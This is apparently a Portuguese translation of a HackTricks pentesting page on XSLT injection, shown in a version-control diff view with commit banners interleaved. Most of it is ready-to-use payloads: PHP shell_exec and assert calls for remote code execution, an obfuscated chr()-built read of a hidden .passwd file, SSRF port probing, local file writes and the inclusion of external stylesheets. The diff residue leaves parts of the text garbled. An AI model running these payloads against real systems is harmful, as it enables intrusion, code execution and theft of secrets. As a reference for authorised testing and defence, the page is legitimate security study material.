 								<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
 								<br />
 								</body>
 								</html>
 								```
 								### Verificação de porta
 								```xml
 								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="document('http://example.com:22')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								## Escrever em um arquivo
 								### XSLT 2.0
 								```xml
 								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:result-document href="local_file.txt">
 								<xsl:text>Write Local File</xsl:text>
 								</xsl:result-document>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								### **Extensão Xalan-J**
 								```xml
 								<xsl:template match="/">
 								<redirect:open file="local_file.txt"/>
 								<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
 								<redirect:close file="loxal_file.txt"/>
 								</xsl:template>
 								```
 								## Incluir XSL externo
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
 								Outras maneiras de escrever arquivos no PDF
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								```xml
 								<xsl:include href="http://extenal.web/external.xsl"/>
 								```
 								```xml
 								<?xml version="1.0" ?>
 								<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
 								```
 								## Executar código
 								### **php:function**
 								```xml
 								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0"
 								xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 								xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('shell_exec','sleep 10')" />
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								```xml
 								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
 								<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
 								<br />
 								</body>
 								</html>
 								```
 								### **Executar código usando outros frameworks no PDF**
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								**Mais Idiomas**
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
 								**Nesta página você pode encontrar exemplos de RCE em outros idiomas:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
-												Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil

											
										
										
											2024-02-08 04:35:32 +00:00
+								## **Acessar funções estáticas PHP de classes**
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
 								A seguinte função chamará o método estático `stringToUrl` da classe XSL:
 								```xml
 								<!--- More complex test to call php class function-->
 								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
 								version="1.0">
 								<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
 								<xsl:template match="root">
 								<html>
 								<!-- We use the php suffix to call the static class function stringToUrl() -->
 								<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
 								<!-- Output: 'une_superstring ao modifier' -->
 								</html>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								## Mais Cargas Úteis
 								* Verifique [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
 								* Verifique [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
 								## **Lista de Detecção de Força Bruta**
 								{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
 								## **Referências**
 								* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
 								* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
 								* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
 								<details>
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-												Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',

											
										
										
											2024-02-09 08:09:41 +00:00
+								* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-												Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil

											
										
										
											2024-02-08 04:35:32 +00:00
+								* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-												Translated ['forensics/basic-forensic-methodology/pcap-inspection/wiresh

											
										
										
											2024-02-06 04:06:53 +00:00
+								* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
 								</details>